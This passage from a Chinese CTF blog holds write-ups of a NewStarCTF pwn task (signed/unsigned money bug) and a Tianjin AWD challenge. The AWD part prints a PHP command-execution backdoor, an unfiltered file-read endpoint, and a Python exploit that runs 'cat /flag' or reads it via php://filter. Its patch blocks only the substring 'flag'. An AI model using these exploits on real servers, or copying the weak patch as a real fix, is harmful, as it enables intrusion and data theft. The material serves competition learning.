class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">unsigned</span> __int64 <span class="hljs-title function_">makemoney</span><span class="hljs-params">()</span><br>{<br> <span class="hljs-type">int</span> v1; <span class="hljs-comment">// [rsp+4h] [rbp-Ch] BYREF</span><br> <span class="hljs-type">unsigned</span> __int64 v2; <span class="hljs-comment">// [rsp+8h] [rbp-8h]</span><br><br> v2 = __readfsqword(<span class="hljs-number">0x28</span>u);<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"============================"</span>);<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"==========Job list=========="</span>);<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"============================"</span>);<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"1.McDonald part time job 20$"</span>);<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"2.MeiTuan takeout 40$"</span>);<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"3.Giving out leaflets 60$"</span>);<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"What do you want to do?"</span>);<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"\n"</span>);<br> <span class="hljs-keyword">if</span> ( (<span class="hljs-type">int</span>)__isoc99_scanf(<span class="hljs-string">"%d"</span>, &v1) <= <span class="hljs-number">0</span> )<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"Invalid input"</span>);<br> <span class="hljs-keyword">switch</span> ( v1 )<br> {<br> <span class="hljs-keyword">case</span> <span class="hljs-number">1</span>:<br> <span class="hljs-keyword">if</span> ( hour <= <span class="hljs-number">3</span> )<br> <span class="hljs-keyword">goto</span> LABEL_12;<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"You chose McDonald's part time job"</span>);<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"It took you 4hours and earned 20$"</span>);<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"\n"</span>);<br> hour -= <span class="hljs-number">4</span>;<br> money += <span class="hljs-number">20</span>;<br> <span class="hljs-keyword">break</span>;<br> <span class="hljs-keyword">case</span> <span class="hljs-number">2</span>:<br> <span class="hljs-keyword">if</span> ( hour <= <span class="hljs-number">7</span> )<br> {<br>LABEL_12:<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"You need to rest"</span>);<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"\n"</span>);<br> <span class="hljs-keyword">return</span> v2 - __readfsqword(<span class="hljs-number">0x28</span>u);<br> }<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"You chose MeiTuan takeout"</span>);<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"It took you 8hours and earned 40$"</span>);<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"\n"</span>);<br> hour -= <span class="hljs-number">8</span>;<br> money += <span class="hljs-number">40</span>;<br> <span class="hljs-keyword">break</span>;<br> <span class="hljs-keyword">case</span> <span class="hljs-number">3</span>:<br> <span class="hljs-keyword">if</span> ( hour > <span class="hljs-number">11</span> )<br> {<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"You chose giving out leaflets"</span>);<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"It took you 12hours and earned 60$"</span>);<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"\n"</span>);<br> hour -= <span class="hljs-number">12</span>;<br> money += <span class="hljs-number">60</span>;<br> <span class="hljs-keyword">return</span> v2 - __readfsqword(<span class="hljs-number">0x28</span>u);<br> }<br> <span class="hljs-keyword">goto</span> LABEL_12;<br> <span class="hljs-keyword">default</span>:<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"nothing here"</span>);<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"\n"</span>);<br> <span class="hljs-keyword">return</span> v2 - __readfsqword(<span class="hljs-number">0x28</span>u);<br> }<br> <span class="hljs-keyword">return</span> v2 - __readfsqword(<span class="hljs-number">0x28</span>u);<br>}<br></code></pre></td></tr></table></figure><p>dont_try()</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">unsigned</span> __int64 <span class="hljs-title function_">dont_try</span><span class="hljs-params">()</span><br>{<br> <span class="hljs-type">unsigned</span> __int64 v1; <span class="hljs-comment">// [rsp+8h] [rbp-8h]</span><br><br> v1 = __readfsqword(<span class="hljs-number">0x28</span>u);<br> <span class="hljs-keyword">if</span> ( chance )<br> {<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"You shouldn't choose this"</span>);<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"Please remember, the shop owner doesn't like his secret to be found"</span>);<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"To punish your choice, you will lose 50$ and you will never be able to choose it!"</span>);<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"\n"</span>);<br> money -= <span class="hljs-number">50</span>;<br> --chance;<br> }<br> <span class="hljs-keyword">return</span> v1 - __readfsqword(<span class="hljs-number">0x28</span>u);<br>}<br></code></pre></td></tr></table></figure><p>原理:有符号型负数int转化为无符号int会导致无符号int数值特别大</p><p>因此,先把所有money花光,之后去dont_try()函数减钱,将其变成负数,即可买到shell</p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>作为新生赛,还是比较简单的,对初学者比较友好。</p><p>贴一个官方wp:<a href="https://shimo.im/docs/XKq421EBKzFyRzAN/read">NewStarCTF 2023 Week1 官方WriteUp (shimo.im)</a></p>]]></content>
<categories>
<category>WriteUp</category>
</categories>
<tags>
<tag>web</tag>
<tag>reverse</tag>
<tag>misc</tag>
<tag>pwn</tag>
<tag>crypto</tag>
</tags>
</entry>
<entry>
<title>天津市大学生信息安全网络攻防大赛</title>
<link href="/2023/09/19/2023tianjindawd/"/>
<url>/2023/09/19/2023tianjindawd/</url>
<content type="html"><;<br><br><span class="hljs-meta">?></span><br></code></pre></td></tr></table></figure><p>一个明显的后门,相当于<code>$_GET['0']($_POST['1'])</code></p><p>直接<code>system('cat /flag')</code>就行</p><p>另一个是在/controller/index.class.php</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta"><?php</span><br><br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">indexController</span> <span class="hljs-keyword">extends</span> <span class="hljs-title">medoo</span></span><br><span class="hljs-class"></span>{<br><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">index</span>(<span class="hljs-params"></span>)</span><br><span class="hljs-function"></span>{<br><span class="hljs-variable">$date</span> = <span class="hljs-title function_ invoke__">get</span>(<span class="hljs-string">'time'</span>);<br><span class="hljs-keyword">switch</span> (<span class="hljs-variable">$date</span>) {<br><span class="hljs-keyword">case</span> <span class="hljs-string">'today'</span>:<br><span class="hljs-variable">$datas</span>[<span class="hljs-string">'time'</span>] = <span class="hljs-string">'today'</span>;<br><span class="hljs-keyword">break</span>;<br><span class="hljs-keyword">case</span> <span class="hljs-string">'yestoday'</span>:<br><span class="hljs-variable">$datas</span>[<span class="hljs-string">'time'</span>] = <span class="hljs-string">'yestoday'</span>;<br><span class="hljs-keyword">break</span>;<br><span class="hljs-keyword">case</span> <span class="hljs-string">'before'</span>:<br><span class="hljs-variable">$datas</span>[<span class="hljs-string">'time'</span>] = <span class="hljs-string">'before'</span>;<br><span class="hljs-keyword">break</span>;<br><span class="hljs-keyword">default</span>:<br><span class="hljs-variable">$datas</span>[<span class="hljs-string">'time'</span>] = <span class="hljs-string">'today'</span>;<br><span class="hljs-keyword">break</span>;<br>}<br><span class="hljs-variable">$datas</span>[<span class="hljs-string">'title'</span>] = <span class="hljs-string">'ASHOP'</span>;<br><span class="hljs-variable">$database</span> = <span class="hljs-keyword">new</span> <span class="hljs-title function_ invoke__">index</span>();<br><span class="hljs-variable">$datas</span>[<span class="hljs-string">'cats'</span>] = <span class="hljs-variable">$database</span>-><span class="hljs-title function_ invoke__">get_cats</span>();<br><br><span class="hljs-variable">$user_data</span> = <span class="hljs-keyword">array</span>();<br><span class="hljs-variable">$user_data</span>[<span class="hljs-string">'time'</span>] = <span class="hljs-title function_ invoke__">time</span>();<br><span class="hljs-variable">$user_data</span>[<span class="hljs-string">'ip'</span>] = <span class="hljs-variable">$_SERVER</span>[<span class="hljs-string">'REMOTE_ADDR'</span>];<br><br><span class="hljs-title function_ invoke__">setcookie</span>(<span class="hljs-string">"AshopToken"</span>, <span class="hljs-title function_ invoke__">base64_encode</span>(<span class="hljs-title function_ invoke__">serialize</span>(<span class="hljs-variable">$user_data</span>)));<br><br><span class="hljs-variable language_">$this</span>-><span class="hljs-title function_ invoke__">display</span>( <span class="hljs-variable">$datas</span> );<br>}<br><br><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">cat</span>(<span class="hljs-params"></span>)</span><br><span class="hljs-function"></span>{<br><span class="hljs-variable">$catid</span> = <span class="hljs-title function_ invoke__">get</span>(<span class="hljs-string">'id'</span>);<br><span class="hljs-variable">$datas</span>[<span class="hljs-string">'title'</span>] = <span class="hljs-string">'cat | ASHOP'</span>;<br><span class="hljs-variable">$datas</span>[<span class="hljs-string">'catid'</span>] = <span class="hljs-variable">$catid</span>;<br><span class="hljs-variable">$database</span> = <span class="hljs-keyword">new</span> <span class="hljs-title function_ invoke__">index</span>();<br><span class="hljs-variable">$datas</span>[<span class="hljs-string">'cats'</span>] = <span class="hljs-variable">$database</span>-><span class="hljs-title function_ invoke__">get_cats</span>();<br><br><span class="hljs-variable language_">$this</span>-><span class="hljs-title function_ invoke__">display</span>( <span class="hljs-variable">$datas</span> );<br>}<br><br><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">more</span>(<span class="hljs-params"></span>)</span><br><span class="hljs-function"></span>{<br><span class="hljs-variable">$date</span> = <span class="hljs-title function_ invoke__">get</span>(<span class="hljs-string">'time'</span>);<br><span class="hljs-keyword">switch</span> (<span class="hljs-variable">$date</span>) {<br><span class="hljs-keyword">case</span> <span class="hljs-string">'today'</span>:<br><span class="hljs-variable">$time</span> = <span class="hljs-title function_ invoke__">date</span>(<span class="hljs-string">'Y-m-d'</span>,<span class="hljs-title function_ invoke__">time</span>());<br><span class="hljs-keyword">break</span>;<br><span class="hljs-keyword">case</span> <span class="hljs-string">'yestoday'</span>:<br><span class="hljs-variable">$time</span> = <span class="hljs-title function_ invoke__">date</span>(<span class="hljs-string">'Y-m-d'</span>,<span class="hljs-title function_ invoke__">strtotime</span>(<span class="hljs-string">'-1 day'</span>));<br><span class="hljs-keyword">break</span>;<br><span class="hljs-keyword">case</span> <span class="hljs-string">'before'</span>:<br><span class="hljs-variable">$time</span> = <span class="hljs-title function_ invoke__">date</span>(<span class="hljs-string">'Y-m-d'</span>,<span class="hljs-title function_ invoke__">strtotime</span>(<span class="hljs-string">'-2 day'</span>));<br><span class="hljs-keyword">break</span>;<br>}<br><span class="hljs-variable">$database</span> = <span class="hljs-keyword">new</span> <span class="hljs-title function_ invoke__">index</span>();<br><span class="hljs-variable">$datas</span>[<span class="hljs-string">'contents'</span>] = <span class="hljs-variable">$database</span>-><span class="hljs-title function_ invoke__">get_contents</span>( <span class="hljs-variable">$time</span> );<br><br><span class="hljs-variable">$data</span> = <span class="hljs-variable">$datas</span>[<span class="hljs-string">'contents'</span>];<br><br><span class="hljs-variable">$result</span> = <span class="hljs-variable">$database</span>-><span class="hljs-title function_ invoke__">get_more</span>( <span class="hljs-variable">$data</span> );<br><span class="hljs-keyword">echo</span> <span class="hljs-variable">$result</span>;<br>}<br><br><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">cat_more</span>(<span class="hljs-params"></span>)</span><br><span class="hljs-function"></span>{<br><span class="hljs-variable">$catid</span> = <span class="hljs-title function_ invoke__">get</span>(<span class="hljs-string">'id'</span>);<br><span class="hljs-variable">$database</span> = <span class="hljs-keyword">new</span> <span class="hljs-title function_ invoke__">index</span>();<br><span class="hljs-variable">$datas</span>[<span class="hljs-string">'contents'</span>] = <span class="hljs-variable">$database</span>-><span class="hljs-title function_ invoke__">cat_contents</span>( <span class="hljs-variable">$catid</span> );<br><br><span class="hljs-variable">$data</span> = <span class="hljs-variable">$datas</span>[<span class="hljs-string">'contents'</span>];<br><span class="hljs-comment">//print_r($data);</span><br><br><span class="hljs-variable">$result</span> = <span class="hljs-variable">$database</span>-><span class="hljs-title function_ invoke__">get_more</span>( <span class="hljs-variable">$data</span> );<br><span class="hljs-keyword">echo</span> <span class="hljs-variable">$result</span>;<br>}<br><br><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">show_pic</span>(<span class="hljs-params"></span>)</span><br><span class="hljs-function"></span>{<br><span class="hljs-variable">$pic</span> = <span class="hljs-title function_ invoke__">get</span>(<span class="hljs-string">'file'</span>);<br><span class="hljs-keyword">if</span> (<span class="hljs-variable">$pic</span> != <span class="hljs-literal">null</span>){<br><span class="hljs-title function_ invoke__">header</span>(<span class="hljs-string">"Content-type:image/jpeg"</span>);<br><span class="hljs-keyword">echo</span> <span class="hljs-title function_ invoke__">file_get_contents</span>(<span class="hljs-variable">$pic</span>);<br>}<br>}<br><br>}<br></code></pre></td></tr></table></figure><p>其中末尾处</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">show_pic</span>(<span class="hljs-params"></span>)</span><br><span class="hljs-function"></span>{<br><span class="hljs-variable">$pic</span> = <span class="hljs-title function_ invoke__">get</span>(<span class="hljs-string">'file'</span>);<br><span class="hljs-keyword">if</span> (<span class="hljs-variable">$pic</span> != <span class="hljs-literal">null</span>){<br><span class="hljs-title function_ invoke__">header</span>(<span class="hljs-string">"Content-type:image/jpeg"</span>);<br><span class="hljs-keyword">echo</span> <span class="hljs-title function_ invoke__">file_get_contents</span>(<span class="hljs-variable">$pic</span>);<br>}<br>}<br></code></pre></td></tr></table></figure><p>参数file直接作为变量进行<code>file_get_contents</code>,没有对变量进行过滤,导致直接<code>?c=index&a=show_pic&file=/flag</code>就可以拿到flag</p><p>这里直接贴上我的exp</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">import</span> re<br><span class="hljs-keyword">import</span> requests<br><span class="hljs-keyword">import</span> sys<br><br><span class="hljs-comment"># 正则匹配flag</span><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">find_flag</span> (<span class="hljs-built_in">str</span>):<br> pattern = <span class="hljs-string">r'^flag\{.*\}$'</span><br> result = re.<span class="hljs-keyword">match</span>(pattern, <span class="hljs-built_in">str</span>).group(<span class="hljs-number">0</span>)<br> <span class="hljs-keyword">return</span> result<br><br><span class="hljs-comment"># 初始化</span><br><span class="hljs-keyword">try</span>:<br> HOST = sys.argv[<span class="hljs-number">1</span>]<br> PORT = sys.argv[<span class="hljs-number">2</span>]<br><span class="hljs-keyword">except</span>:<br> <span class="hljs-keyword">pass</span><br><br><br>url=<span class="hljs-string">f"http://<span class="hljs-subst">{HOST}</span>:<span class="hljs-subst">{PORT}</span>/config/config.php?0=system"</span><br>uri=<span class="hljs-string">""</span><br>target=url+uri<br>data={<br> <span class="hljs-string">'1'</span>:<span class="hljs-string">'cat /flag'</span><br>}<br>url2=<span class="hljs-string">f"http://<span class="hljs-subst">{HOST}</span>:<span class="hljs-subst">{PORT}</span>/?c=index&a=show_pic&file=php://filter/resource=/flag"</span><br><br><br><span class="hljs-keyword">try</span>:<br> a=requests.post(target,data=data)<br> <span class="hljs-built_in">print</span>(find_flag(a.text))<br><span class="hljs-keyword">except</span> Exception <span class="hljs-keyword">as</span> e:<br> a=requests.post(url2)<br> <span class="hljs-built_in">print</span>((<span class="hljs-built_in">str</span>(a.text)[-<span class="hljs-number">43</span>:-<span class="hljs-number">1</span>]))<br><br></code></pre></td></tr></table></figure><p>patch也贴上</p><p>patch.sh</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs shell"><span class="hljs-meta prompt_">#</span><span class="language-bash">!/bin/bash</span><br>python3 patch.py <br>cp index.class.php /var/www/html/controller/index.class.php<br></code></pre></td></tr></table></figure><p>index.class.php</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta"><?php</span><br><br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">indexController</span> <span class="hljs-keyword">extends</span> <span class="hljs-title">medoo</span></span><br><span class="hljs-class"></span>{<br><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">index</span>(<span class="hljs-params"></span>)</span><br><span class="hljs-function"></span>{<br><span class="hljs-variable">$date</span> = <span class="hljs-title function_ invoke__">get</span>(<span class="hljs-string">'time'</span>);<br><span class="hljs-keyword">switch</span> (<span class="hljs-variable">$date</span>) {<br><span class="hljs-keyword">case</span> <span class="hljs-string">'today'</span>:<br><span class="hljs-variable">$datas</span>[<span class="hljs-string">'time'</span>] = <span class="hljs-string">'today'</span>;<br><span class="hljs-keyword">break</span>;<br><span class="hljs-keyword">case</span> <span class="hljs-string">'yestoday'</span>:<br><span class="hljs-variable">$datas</span>[<span class="hljs-string">'time'</span>] = <span class="hljs-string">'yestoday'</span>;<br><span class="hljs-keyword">break</span>;<br><span class="hljs-keyword">case</span> <span class="hljs-string">'before'</span>:<br><span class="hljs-variable">$datas</span>[<span class="hljs-string">'time'</span>] = <span class="hljs-string">'before'</span>;<br><span class="hljs-keyword">break</span>;<br><span class="hljs-keyword">default</span>:<br><span class="hljs-variable">$datas</span>[<span class="hljs-string">'time'</span>] = <span class="hljs-string">'today'</span>;<br><span class="hljs-keyword">break</span>;<br>}<br><span class="hljs-variable">$datas</span>[<span class="hljs-string">'title'</span>] = <span class="hljs-string">'ASHOP'</span>;<br><span class="hljs-variable">$database</span> = <span class="hljs-keyword">new</span> <span class="hljs-title function_ invoke__">index</span>();<br><span class="hljs-variable">$datas</span>[<span class="hljs-string">'cats'</span>] = <span class="hljs-variable">$database</span>-><span class="hljs-title function_ invoke__">get_cats</span>();<br><br><span class="hljs-variable">$user_data</span> = <span class="hljs-keyword">array</span>();<br><span class="hljs-variable">$user_data</span>[<span class="hljs-string">'time'</span>] = <span class="hljs-title function_ invoke__">time</span>();<br><span class="hljs-variable">$user_data</span>[<span class="hljs-string">'ip'</span>] = <span class="hljs-variable">$_SERVER</span>[<span class="hljs-string">'REMOTE_ADDR'</span>];<br><br><span class="hljs-title function_ invoke__">setcookie</span>(<span class="hljs-string">"AshopToken"</span>, <span class="hljs-title function_ invoke__">base64_encode</span>(<span class="hljs-title function_ invoke__">serialize</span>(<span class="hljs-variable">$user_data</span>)));<br><br><span class="hljs-variable language_">$this</span>-><span class="hljs-title function_ invoke__">display</span>(<span class="hljs-variable">$datas</span>);<br>}<br><br><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">cat</span>(<span class="hljs-params"></span>)</span><br><span class="hljs-function"></span>{<br><span class="hljs-variable">$catid</span> = <span class="hljs-title function_ invoke__">get</span>(<span class="hljs-string">'id'</span>);<br><span class="hljs-variable">$datas</span>[<span class="hljs-string">'title'</span>] = <span class="hljs-string">'cat | ASHOP'</span>;<br><span class="hljs-variable">$datas</span>[<span class="hljs-string">'catid'</span>] = <span class="hljs-variable">$catid</span>;<br><span class="hljs-variable">$database</span> = <span class="hljs-keyword">new</span> <span class="hljs-title function_ invoke__">index</span>();<br><span class="hljs-variable">$datas</span>[<span class="hljs-string">'cats'</span>] = <span class="hljs-variable">$database</span>-><span class="hljs-title function_ invoke__">get_cats</span>();<br><br><span class="hljs-variable language_">$this</span>-><span class="hljs-title function_ invoke__">display</span>(<span class="hljs-variable">$datas</span>);<br>}<br><br><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">more</span>(<span class="hljs-params"></span>)</span><br><span class="hljs-function"></span>{<br><span class="hljs-variable">$date</span> = <span class="hljs-title function_ invoke__">get</span>(<span class="hljs-string">'time'</span>);<br><span class="hljs-keyword">switch</span> (<span class="hljs-variable">$date</span>) {<br><span class="hljs-keyword">case</span> <span class="hljs-string">'today'</span>:<br><span class="hljs-variable">$time</span> = <span class="hljs-title function_ invoke__">date</span>(<span class="hljs-string">'Y-m-d'</span>, <span class="hljs-title function_ invoke__">time</span>());<br><span class="hljs-keyword">break</span>;<br><span class="hljs-keyword">case</span> <span class="hljs-string">'yestoday'</span>:<br><span class="hljs-variable">$time</span> = <span class="hljs-title function_ invoke__">date</span>(<span class="hljs-string">'Y-m-d'</span>, <span class="hljs-title function_ invoke__">strtotime</span>(<span class="hljs-string">'-1 day'</span>));<br><span class="hljs-keyword">break</span>;<br><span class="hljs-keyword">case</span> <span class="hljs-string">'before'</span>:<br><span class="hljs-variable">$time</span> = <span class="hljs-title function_ invoke__">date</span>(<span class="hljs-string">'Y-m-d'</span>, <span class="hljs-title function_ invoke__">strtotime</span>(<span class="hljs-string">'-2 day'</span>));<br><span class="hljs-keyword">break</span>;<br>}<br><span class="hljs-variable">$database</span> = <span class="hljs-keyword">new</span> <span class="hljs-title function_ invoke__">index</span>();<br><span class="hljs-variable">$datas</span>[<span class="hljs-string">'contents'</span>] = <span class="hljs-variable">$database</span>-><span class="hljs-title function_ invoke__">get_contents</span>(<span class="hljs-variable">$time</span>);<br><br><span class="hljs-variable">$data</span> = <span class="hljs-variable">$datas</span>[<span class="hljs-string">'contents'</span>];<br><br><span class="hljs-variable">$result</span> = <span class="hljs-variable">$database</span>-><span class="hljs-title function_ invoke__">get_more</span>(<span class="hljs-variable">$data</span>);<br><span class="hljs-keyword">echo</span> <span class="hljs-variable">$result</span>;<br>}<br><br><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">cat_more</span>(<span class="hljs-params"></span>)</span><br><span class="hljs-function"></span>{<br><span class="hljs-variable">$catid</span> = <span class="hljs-title function_ invoke__">get</span>(<span class="hljs-string">'id'</span>);<br><span class="hljs-variable">$database</span> = <span class="hljs-keyword">new</span> <span class="hljs-title function_ invoke__">index</span>();<br><span class="hljs-variable">$datas</span>[<span class="hljs-string">'contents'</span>] = <span class="hljs-variable">$database</span>-><span class="hljs-title function_ invoke__">cat_contents</span>(<span class="hljs-variable">$catid</span>);<br><br><span class="hljs-variable">$data</span> = <span class="hljs-variable">$datas</span>[<span class="hljs-string">'contents'</span>];<br><span class="hljs-comment">//print_r($data);</span><br><br><span class="hljs-variable">$result</span> = <span class="hljs-variable">$database</span>-><span class="hljs-title function_ invoke__">get_more</span>(<span class="hljs-variable">$data</span>);<br><span class="hljs-keyword">echo</span> <span class="hljs-variable">$result</span>;<br>}<br><br><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">show_pic</span>(<span class="hljs-params"></span>)</span><br><span class="hljs-function"></span>{<br><span class="hljs-variable">$pic</span> = <span class="hljs-title function_ invoke__">get</span>(<span class="hljs-string">'file'</span>);<br><span class="hljs-keyword">if</span> (<span class="hljs-title function_ invoke__">strpos</span>(<span class="hljs-variable">$pic</span>, <span class="hljs-string">"flag"</span>) !== <span class="hljs-literal">false</span>) {<br><span class="hljs-variable">$pic</span> = <span class="hljs-string">''</span>;<br>}<br><span class="hljs-keyword">if</span> (<span class="hljs-variable">$pic</span> != <span class="hljs-literal">null</span>) {<br><span class="hljs-title function_ invoke__">header</span>(<span class="hljs-string">"Content-type:image/jpeg"</span>);<br><span class="hljs-keyword">echo</span> <span class="hljs-title function_ invoke__">file_get_contents</span>(<span class="hljs-variable">$pic</span>);<br>}<br>}<br><br>}<br></code></pre></td></tr></table></figure><p>patch.py</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span 